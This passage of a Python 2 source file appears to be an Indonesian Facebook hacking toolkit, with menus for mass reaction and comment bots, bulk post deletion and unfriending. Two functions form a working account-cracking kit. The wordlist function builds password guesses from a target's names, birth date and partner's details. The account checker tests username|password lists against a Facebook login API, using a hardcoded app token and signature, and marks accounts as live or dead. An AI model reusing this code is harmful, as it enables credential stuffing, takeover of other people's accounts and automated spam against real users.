menu_bot() 2021 | else: 2022 | print "\033[1;91m[!] Wrong input" 2023 | choosing_reaction() 2024 | #####NEXT 2025 | def reactg(): 2026 | os.system('clear') 2027 | try: 2028 | fb_token=open('login.txt','r').read() 2029 | except IOError: 2030 | print"\033[1;91m[!] Token not found" 2031 | os.system('rm -rf login.txt') 2032 | time.sleep(0.01) 2033 | login() 2034 | os.system('clear') 2035 | logo() 2036 | ide = raw_input('\033[1;91m[+] \033[1;92mInput ID Group \033[1;91m:\033[1;97m ') 2037 | limit = raw_input("\033[1;91m[!] \033[1;92mLimit \033[1;91m:\033[1;97m ") 2038 | try: 2039 | r=requests.get('https://graph.facebook.com/group/?id='+ide+'&access_token='+fb_token) 2040 | asw=json.loads(r.text) 2041 | print"\033[1;91m[\033[1;96m✓\033[1;91m] \033[1;92mFrom group \033[1;91m:\033[1;97m "+asw['name'] 2042 | except KeyError: 2043 | print"\033[1;91m[!] Group not found" 2044 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 2045 | group_react() 2046 | try: 2047 | oh = requests.get("https://graph.facebook.com/v3.0/"+ide+"?fields=feed.limit("+limit+")&access_token="+fb_token) 2048 | ah = json.loads(oh.text) 2049 | mkdir('\033[1;91m[✺] \033[1;92mStart \033[1;97m...') 2050 | print 42*"\033[1;97m═" 2051 | for a in ah['feed']['data']: 2052 | y = a['id'] 2053 | reactiongroup.append(y) 2054 | requests.post("https://graph.facebook.com/"+y+"/reactions?type="+tipe+"&access_token="+fb_token) 2055 | print '\033[1;92m[\033[1;97m'+y[:10].replace('\n',' ')+'... \033[1;92m] \033[1;97m'+tipe 2056 | print 42*"\033[1;97m═" 2057 | print "\r\033[1;91m[+]\033[1;92m Done \033[1;97m"+str(len(reactiongroup)) 2058 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 2059 | menu_bot() 2060 | except KeyError: 2061 | print"\033[1;91m[!] ID not found" 2062 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 2063 | menu_bot() 2064 | 2065 | ##### BOT COMMENT ##### 2066 | def bot_comment(): 2067 | os.system('clear') 2068 | try: 2069 | fb_token=open('login.txt','r').read() 2070 | except IOError: 2071 | print"\033[1;91m[!] Token not found" 2072 | os.system('rm -rf login.txt') 2073 | time.sleep(0.01) 2074 | login() 2075 | os.system('clear') 2076 | logo() 2077 | print "\033[1;91m[!] \033[1;92mUse \033[1;97m'<>' \033[1;92mfor new lines" 2078 | ide = raw_input('\033[1;91m[+] \033[1;92mID Target \033[1;91m:\033[1;97m ') 2079 | km = raw_input('\033[1;91m[+] \033[1;92mComment \033[1;91m:\033[1;97m ') 2080 | limit = raw_input("\033[1;91m[!] \033[1;92mLimit \033[1;91m:\033[1;97m ") 2081 | km=km.replace('<>','\n') 2082 | try: 2083 | p = requests.get("https://graph.facebook.com/"+ide+"?fields=feed.limit("+limit+")&access_token="+fb_token) 2084 | a = json.loads(p.text) 2085 | mkdir('\033[1;91m[✺] \033[1;92mStart \033[1;97m...') 2086 | print 42*"\033[1;97m═" 2087 | for s in a['feed']['data']: 2088 | f = s['id'] 2089 | comment.append(f) 2090 | requests.post("https://graph.facebook.com/"+f+"/comments?message="+km+"&access_token="+fb_token) 2091 | print '\033[1;92m[\033[1;97m'+km[:10].replace('\n',' ')+'... \033[1;92m]' 2092 | print 42*"\033[1;97m═" 2093 | print "\r\033[1;91m[+]\033[1;92m Done \033[1;97m"+str(len(comment)) 2094 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 2095 | menu_bot() 2096 | except KeyError: 2097 | print"\033[1;91m[!] ID not found" 2098 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 2099 | menu_bot() 2100 | 2101 | ##### BOT COMMENT group ##### 2102 | def group_comment(): 2103 | os.system('clear') 2104 | try: 2105 | fb_token=open('login.txt','r').read() 2106 | except IOError: 2107 | print"\033[1;91m[!] Token not found" 2108 | os.system('rm -rf login.txt') 2109 | time.sleep(0.01) 2110 | login() 2111 | os.system('clear') 2112 | logo() 2113 | print "\033[1;91m[!] \033[1;92mUse \033[1;97m'<>' \033[1;92mfor new lines" 2114 | ide = raw_input('\033[1;91m[+] \033[1;92mID Group \033[1;91m:\033[1;97m ') 2115 | km = raw_input('\033[1;91m[+] \033[1;92mComment \033[1;91m:\033[1;97m ') 2116 | limit = raw_input("\033[1;91m[!] \033[1;92mLimit \033[1;91m:\033[1;97m ") 2117 | km=km.replace('<>','\n') 2118 | try: 2119 | r=requests.get('https://graph.facebook.com/group/?id='+ide+'&access_token='+fb_token) 2120 | asw=json.loads(r.text) 2121 | print"\033[1;91m[\033[1;96m✓\033[1;91m] \033[1;92mFrom group \033[1;91m:\033[1;97m "+asw['name'] 2122 | except KeyError: 2123 | print"\033[1;91m[!] Group not found" 2124 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 2125 | menu_bot() 2126 | try: 2127 | p = requests.get("https://graph.facebook.com/v3.0/"+ide+"?fields=feed.limit("+limit+")&access_token="+fb_token) 2128 | a = json.loads(p.text) 2129 | mkdir('\033[1;91m[✺] \033[1;92mStart \033[1;97m...') 2130 | print 42*"\033[1;97m═" 2131 | for s in a['feed']['data']: 2132 | f = s['id'] 2133 | group_comment.append(f) 2134 | requests.post("https://graph.facebook.com/"+f+"/comments?message="+km+"&access_token="+fb_token) 2135 | print '\033[1;92m[\033[1;97m'+km[:10].replace('\n',' ')+'... \033[1;92m]' 2136 | print 42*"\033[1;97m═" 2137 | print "\r\033[1;91m[+]\033[1;92m Done \033[1;97m"+str(len(group_comment)) 2138 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 2139 | menu_bot() 2140 | except KeyError: 2141 | print"\033[1;91m[!] Error" 2142 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 2143 | menu_bot() 2144 | 2145 | ##### POST ##### 2146 | def deletepost(): 2147 | os.system('clear') 2148 | try: 2149 | fb_token=open('login.txt','r').read() 2150 | nam = requests.get('https://graph.facebook.com/me?access_token='+fb_token) 2151 | lol = json.loads(nam.text) 2152 | fb_name = lol['name'] 2153 | except IOError: 2154 | print"\033[1;91m[!] Token not found" 2155 | os.system('rm -rf login.txt') 2156 | time.sleep(0.01) 2157 | login() 2158 | os.system('clear') 2159 | logo() 2160 | print("\033[1;91m[+] \033[1;92mFrom \033[1;91m: \033[1;97m%s"%fb_name) 2161 | mkdir("\033[1;91m[+] \033[1;92mStart\033[1;97m ...") 2162 | print 42*"\033[1;97m═" 2163 | asu = requests.get('https://graph.facebook.com/me/feed?access_token='+fb_token) 2164 | asus = json.loads(asu.text) 2165 | for p in asus['data']: 2166 | id = p['id'] 2167 | piro = 0 2168 | url = requests.get('https://graph.facebook.com/'+id+'?method=delete&access_token='+fb_token) 2169 | ok = json.loads(url.text) 2170 | try: 2171 | error = ok['error']['message'] 2172 | print '\033[1;91m[\033[1;97m'+id[:10].replace('\n',' ')+'...'+'\033[1;91m] \033[1;95mFailed' 2173 | except TypeError: 2174 | print '\033[1;92m[\033[1;97m'+id[:10].replace('\n',' ')+'...'+'\033[1;92m] \033[1;96mDeleted' 2175 | piro += 1 2176 | except requests.exceptions.ConnectionError: 2177 | print"\033[1;91m[!] Connection Error" 2178 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 2179 | menu_bot() 2180 | print 42*"\033[1;97m═" 2181 | print"\033[1;91m[+] \033[1;92mDone" 2182 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 2183 | menu_bot() 2184 | 2185 | ##### ACCEPT FRIEND ##### 2186 | def accept(): 2187 | os.system('clear') 2188 | try: 2189 | fb_token=open('login.txt','r').read() 2190 | except IOError: 2191 | print"\033[1;91m[!] Token not found" 2192 | os.system('rm -rf login.txt') 2193 | time.sleep(0.01) 2194 | login() 2195 | os.system('clear') 2196 | logo() 2197 | limit = raw_input("\033[1;91m[!] \033[1;92mLimit \033[1;91m:\033[1;97m ") 2198 | r = requests.get('https://graph.facebook.com/me/friendrequests?limit='+limit+'&access_token='+fb_token) 2199 | friends = json.loads(r.text) 2200 | if '[]' in str(friends['data']): 2201 | print"\033[1;91m[!] No friend request" 2202 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 2203 | menu_bot() 2204 | mkdir('\033[1;91m[✺] \033[1;92mStart \033[1;97m...') 2205 | print 42*"\033[1;97m═" 2206 | for i in friends['data']: 2207 | gas = requests.post('https://graph.facebook.com/me/friends/'+i['from']['id']+'?access_token='+fb_token) 2208 | a = json.loads(gas.text) 2209 | if 'error' in str(a): 2210 | print "\033[1;97m[ \033[1;91mFailed\033[1;97m ] "+i['from']['name'] 2211 | else: 2212 | print "\033[1;97m[ \033[1;92mAccept\033[1;97m ] "+i['from']['name'] 2213 | print 42*"\033[1;97m═" 2214 | print"\033[1;91m[+] \033[1;92mDone" 2215 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 2216 | menu_bot() 2217 | 2218 | ##### UNFRIEND #### 2219 | def unfriend(): 2220 | os.system('clear') 2221 | try: 2222 | fb_token=open('login.txt','r').read() 2223 | except IOError: 2224 | print"\033[1;91m[!] Token not found" 2225 | os.system('rm -rf login.txt') 2226 | time.sleep(0.01) 2227 | login() 2228 | os.system('clear') 2229 | logo() 2230 | mkdir('\033[1;91m[✺] \033[1;92mStart \033[1;97m...') 2231 | print "\033[1;97mStop \033[1;91mCTRL+C" 2232 | print 42*"\033[1;97m═" 2233 | try: 2234 | picks = requests.get('https://graph.facebook.com/me/friends?access_token='+fb_token) 2235 | tryy = json.loads(picks.text) 2236 | for i in tryy['data']: 2237 | fb_name = i['name'] 2238 | id = i['id'] 2239 | requests.delete("https://graph.facebook.com/me/friends?uid="+id+"&access_token="+fb_token) 2240 | print "\033[1;97m[\033[1;92m Deleted \033[1;97m] "+fb_name 2241 | except IndexError: pass 2242 | except KeyboardInterrupt: 2243 | print "\033[1;91m[!] Stopped" 2244 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 2245 | menu_bot() 2246 | print"\n\033[1;91m[+] \033[1;92mDone" 2247 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 2248 | menu_bot() 2249 | 2250 | #### POSTING##### 2251 | # # 2252 | ####POST MENU##### 2253 | def func(): 2254 | os.system('clear') 2255 | try: 2256 | fb_token=open('login.txt','r').read() 2257 | except IOError: 2258 | print"\033[1;91m[!] Token not found" 2259 | os.system('rm -rf login.txt') 2260 | time.sleep(0.01) 2261 | login() 2262 | os.system('clear') 2263 | logo() 2264 | print "\033[1;97m║--\033[1;91m> \033[1;92m1.\033[1;97m Create Post" 2265 | print "\033[1;97m║--\033[1;91m> \033[1;92m2.\033[1;97m Create Wordlist" 2266 | print "\033[1;97m║--\033[1;91m> \033[1;92m3.\033[1;97m Account Checker" 2267 | print "\033[1;97m║--\033[1;91m> \033[1;92m4.\033[1;97m See my group list" 2268 | print "\033[1;97m║--\033[1;91m> \033[1;92m5.\033[1;97m Profile Guard" 2269 | print "\033[1;97m║--\033[1;91m> \033[1;91m0.\033[1;97m Back" 2270 | print "║" 2271 | choosing_again() 2272 | #//////////// 2273 | def choosing_again(): 2274 | other = raw_input("\033[1;97m╚═\033[1;91mD \033[1;97m") 2275 | if other =="": 2276 | print "\033[1;91m[!] Wrong input" 2277 | choosing_again() 2278 | elif other =="1": 2279 | status() 2280 | elif other =="2": 2281 | wordlist() 2282 | elif other =="3": 2283 | check_akun() 2284 | elif other =="4": 2285 | group_list() 2286 | elif other =="5": 2287 | guard() 2288 | elif other =="0": 2289 | menu() 2290 | else: 2291 | print "\033[1;91m[!] Wrong input" 2292 | choosing_again() 2293 | 2294 | ##### STATUS ##### 2295 | def status(): 2296 | os.system('clear') 2297 | try: 2298 | fb_token=open('login.txt','r').read() 2299 | except IOError: 2300 | print"\033[1;91m[!] Token not found" 2301 | os.system('rm -rf login.txt') 2302 | time.sleep(0.01) 2303 | login() 2304 | os.system('clear') 2305 | logo() 2306 | msg=raw_input('\033[1;91m[+] \033[1;92mType status \033[1;91m:\033[1;97m ') 2307 | if msg == "": 2308 | print "\033[1;91m[!] Don't be empty" 2309 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 2310 | func() 2311 | else: 2312 | res = requests.get("https://graph.facebook.com/me/feed?method=POST&message="+msg+"&access_token="+fb_token) 2313 | op = json.loads(res.text) 2314 | mkdir('\033[1;91m[✺] \033[1;92mCreate \033[1;97m...') 2315 | print 42*"\033[1;97m═" 2316 | print"\033[1;91m[+] \033[1;92mStatus ID\033[1;91m : \033[1;97m"+op['id'] 2317 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 2318 | func() 2319 | 2320 | ########### CREATE WORDLIST ########## 2321 | def wordlist(): 2322 | os.system('clear') 2323 | try: 2324 | fb_token=open('login.txt','r').read() 2325 | except IOError: 2326 | print"\033[1;91m[!] Token not found" 2327 | os.system('rm -rf login.txt') 2328 | time.sleep(0.01) 2329 | login() 2330 | try: 2331 | os.system('clear') 2332 | logo() 2333 | print "\033[1;91m[?] \033[1;92mFill in the complete data of the target below" 2334 | print 42*"\033[1;97m═" 2335 | a = raw_input("\033[1;91m[+] \033[1;92mfb_name Depan \033[1;97m: ") 2336 | file = open(a+".txt", 'w') 2337 | b=raw_input("\033[1;91m[+] \033[1;92mfb_name Tengah \033[1;97m: ") 2338 | c=raw_input("\033[1;91m[+] \033[1;92mfb_name Belakang \033[1;97m: ") 2339 | d=raw_input("\033[1;91m[+] \033[1;92mfb_name Panggilan \033[1;97m: ") 2340 | e=raw_input("\033[1;91m[+] \033[1;92mTanggal Lahir >\033[1;96mex: |DDMMYY| \033[1;97m: ") 2341 | f=e[0:2] 2342 | g=e[2:4] 2343 | h=e[4:] 2344 | print 42*"\033[1;97m═" 2345 | print("\033[1;91m[?] \033[1;93mKalo Jomblo SKIP aja :v") 2346 | i=raw_input("\033[1;91m[+] \033[1;92mfb_name Pacar \033[1;97m: ") 2347 | j=raw_input("\033[1;91m[+] \033[1;92mfb_name Panggilan Pacar \033[1;97m: ") 2348 | k=raw_input("\033[1;91m[+] \033[1;92mTanggal Lahir Pacar >\033[1;96mex: |DDMMYY| \033[1;97m: ") 2349 | mkdir('\033[1;91m[✺] \033[1;92mCreate \033[1;97m...') 2350 | l=k[0:2] 2351 | m=k[2:4] 2352 | n=k[4:] 2353 | file.write("%s%s\n%s%s%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s%s\n%s%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s" % (a,c,a,b,b,a,b,c,c,a,c,b,a,a,b,b,c,c,a,d,b,d,c,d,d,d,d,a,d,b,d,c,a,e,a,f,a,g,a,h,b,e,b,f,b,g,b,h,c,e,c,f,c,g,c,h,d,e,d,f,d,g,d,h,e,a,f,a,g,a,h,a,e,b,f,b,g,b,h,b,e,c,f,c,g,c,h,c,e,d,f,d,g,d,h,d,d,d,a,f,g,a,g,h,f,g,f,h,f,f,g,f,g,h,g,g,h,f,h,g,h,h,h,g,f,a,g,h,b,f,g,b,g,h,c,f,g,c,g,h,d,f,g,d,g,h,a,i,a,j,a,k,i,e,i,j,i,k,b,i,b,j,b,k,c,i,c,j,c,k,e,k,j,a,j,b,j,c,j,d,j,j,k,a,k,b,k,c,k,d,k,k,i,l,i,m,i,n,j,l,j,m,j,n,j,k)) 2354 | wg = 0 2355 | while (wg < 100): 2356 | wg = wg + 1 2357 | file.write(a + str(wg) + '\n') 2358 | en = 0 2359 | while (en < 100): 2360 | en = en + 1 2361 | file.write(i + str(en) + '\n') 2362 | word = 0 2363 | while (word < 100): 2364 | word = word + 1 2365 | file.write(d + str(word) + '\n') 2366 | gen = 0 2367 | while (gen < 100): 2368 | gen = gen + 1 2369 | file.write(j + str(gen) + '\n') 2370 | file.close() 2371 | time.sleep(1.5) 2372 | print 42*"\033[1;97m═" 2373 | print ("\033[1;91m[+] \033[1;92mSaved \033[1;91m: \033[1;97m %s.txt" %a) 2374 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 2375 | func() 2376 | except IOError, e: 2377 | print("\033[1;91m[!] Failed") 2378 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 2379 | func() 2380 | 2381 | ##### CHECKER ##### 2382 | def check_akun(): 2383 | os.system('clear') 2384 | try: 2385 | fb_token=open('login.txt','r').read() 2386 | except IOError: 2387 | print"\033[1;91m[!] Token not found" 2388 | os.system('rm -rf login.txt') 2389 | time.sleep(0.01) 2390 | login() 2391 | os.system('clear') 2392 | logo() 2393 | print "\033[1;91m[?] \033[1;92mCreate in file\033[1;91m : \033[1;97musername|password" 2394 | print 42*"\033[1;97m═" 2395 | live = [] 2396 | check_it = [] 2397 | die = [] 2398 | try: 2399 | file = raw_input("\033[1;91m[+] \033[1;92mFile path \033[1;91m:\033[1;97m ") 2400 | list = open(file,'r').readlines() 2401 | except IOError: 2402 | print ("\033[1;91m[!] File not found") 2403 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 2404 | func() 2405 | pemisah = raw_input("\033[1;91m[+] \033[1;92mSeparator \033[1;91m:\033[1;97m ") 2406 | mkdir('\033[1;91m[✺] \033[1;92mStart \033[1;97m...') 2407 | print 42*"\033[1;97m═" 2408 | for meki in list: 2409 | username, password = (meki.strip()).split(str(pemisah)) 2410 | url = "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(username)+"&locale=en_US&password="+(password)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" 2411 | data = requests.get(url) 2412 | mpsh = json.loads(data.text) 2413 | if 'access_token' in mpsh: 2414 | live.append(password) 2415 | print"\033[1;97m[ \033[1;92mLive\033[1;97m ] \033[1;97m"+username+"|"+password 2416 | elif 'www.facebook.com' in mpsh["error_msg"]: 2417 | check_it.append(password) 2418 | print"\033[1;97m[ \033[1;93mCheck\033[1;97m ] \033[1;97m"+username+"|"+password 2419 | else: 2420 | die.append(password) 2421 | print"\033[1;97m[ \033[1;91mDie\033[1;97m ] \033[1;97m"+username+"|"+password 2422 | print 42*"\033[1;97m═" 2423 | print"\033[1;91m[+] \033[1;92mTotal\033[1;91m : \033[1;97mLive=\033[1;92m"+str(len(live))+" \033[1;97mCheck=\033[1;93m"+str(len(check_it))+" \033[1;97mDie=\033[1;91m"+str(len(die)) 2424 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 2425 | func() 2426 | 2427 | ##### group SAYA ##### 2428 | def group_list(): 2429 | os.system('clear') 2430 | try: 2431 | fb_token=open('login.txt','r').read() 2432 | except IOError: 2433 | print"\033[1;91m[!] Token not found" 2434 | os.system('rm -rf login.txt') 2435 | time.sleep(0.01) 2436 | login() 2437 | try: 2438 | os.mkdir('out') 2439 | except OSError: 2440 | pass 2441 | os.system('clear') 2442 | logo() 2443 | try: 2444 | uh = requests.get('https://graph.facebook.com/me/groups?access_token='+fb_token) 2445 | good = json.loads(uh.text) 2446 | for p in good['data']: 2447 | fb_name = p["name"] 2448 | id = p["id"] 2449 | f=open('out/groupid.txt','w') 2450 | listgroup.append(id) 2451 | f.write(id + '\n') 2452 | print "\033[1;97m[ \033[1;92mMyGroup\033[1;97m ] "+str(id)+" => "+str(fb_name) 2453 | print 42*"\033[1;97m═" 2454 | print"\033[1;91m[+] \033[1;92mTotal Group \033[1;91m:\033[1;97m %s"%(len(listgroup)) 2455 | print("\033[1;91m[+] \033[1;92mSaved \033[1;91m: \033[1;97mout/groupid.txt") 2456 | f.close() 2457 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 2458 | func() 2459 | except (KeyboardInterrupt,EOFError): 2460 | print("\033[1;91m[!] Stopped") 2461 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 2462 | func() 2463 | except KeyError: 2464 | os.remove('out/groupid.txt') 2465 | print('\033[1;91m[!] Group not found') 2466 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 2467 | func() 2468 | except requests.exceptions.ConnectionError: 2469 | print"\033[1;91m[✖] No Connection" 2470 | exit() 2471 | except IOError: 2472 | print "\033[1;91m[!] Error" 2473 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 2474 | func() 2475 | 2476 | ##### PROFILE GUARD ##### 2477 | def guard(): 2478 | global fb_token 2479 | os.system('clear') 2480 | try: 2481 | fb_token=open('login.txt','r').read() 2482 | except IOError: 2483 | print"\033[1;91m[!] Token not found" 2484 | os.system('rm -rf login.txt') 2485 | time.sleep(0.01) 2486 | login() 2487 | os.system('clear') 2488 | logo() 2489 | print "\033[1;97m║--\033[1;91m> \033[1;92m1.\033[1;97m Activate" 2490 | print "\033[1;97m║--\033[1;91m> \033[1;92m2.\033[1;97m Not activate" 2491 | print "\033[1;97m║--\033[1;91m> \033[1;91m0.\033[1;97m Back" 2492 | print "║" 2493 | g = raw_input("\033[1;97m╚═\033[1;91mD \033[1;97m") 2494 | if g == "1": 2495 | activated = "true" 2496 | jay(fb_token, activated) 2497 | elif g == "2": 2498 | not_active = "false" 2499 | jay(fb_token, not_active) 2500 | elif g =="0": 2501 | func() 2502 | elif g =="": 2503 | exit() 2504 | else: 2505 | exit() 2506 | 2507 | def get_userid(fb_token): 2508 | url = "https://graph.facebook.com/me?access_token=%s"%fb_token 2509 | res = requests.get(url) 2510 | uid = json.loads(res.text) 2511 | return uid["id"] 2512 | 2513 | def jay(fb_token, enable = True): 2514 | id = get_userid(fb_token) 2515 | data = 'variables={"0":{"is_shielded": %s,"session_id":"9b78191c-84fd-4ab6-b0aa-19b39f04a6bc","actor_id":"%s","client_mutation_id":"b0316dd6-3fd6-4beb-aed4-bb29c5dc64b0"}}&method=post&doc_id=1477043292367183&query_name=IsShieldedSetMutation&strip_defaults=true&strip_nulls=true&locale=en_US&client_country_code=US&fb_api_req_friendly_name=IsShieldedSetMutation&fb_api_caller_class=IsShieldedSetMutation' % (enable, str(id)) 2516 | headers = {"Content-Type" : "application/x-www-form-urlencoded", "Authorization" : "OAuth %s" % fb_token} 2517 | url = "https://graph.facebook.com/graphql" 2518 | res = requests.post(url, data = data, headers = headers) 2519 | print(res.text) 2520 | if '"is_shielded":true' in res.text: 2521 | os.system('clear') 2522 | logo() 2523 | print"\033[1;91m[\033[1;96m✓\033[1;91m] \033[1;92mActivate" 2524 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 2525 | func() 2526 | elif '"is_shielded":false' in res.text: 2527 | os.system('clear') 2528 | logo() 2529 | print"\033[1;91m[\033[1;96m✓\033[1;91m] \033[1;91mNot activate" 2530 | raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") 2531 | func() 2532 | else: 2533 | print "\033[1;91m[!] Error" 2534 | exit() 2535 | 2536 | if __name__=='__main__': 2537 | tool_main_function() 2538 | --------------------------------------------------------------------------------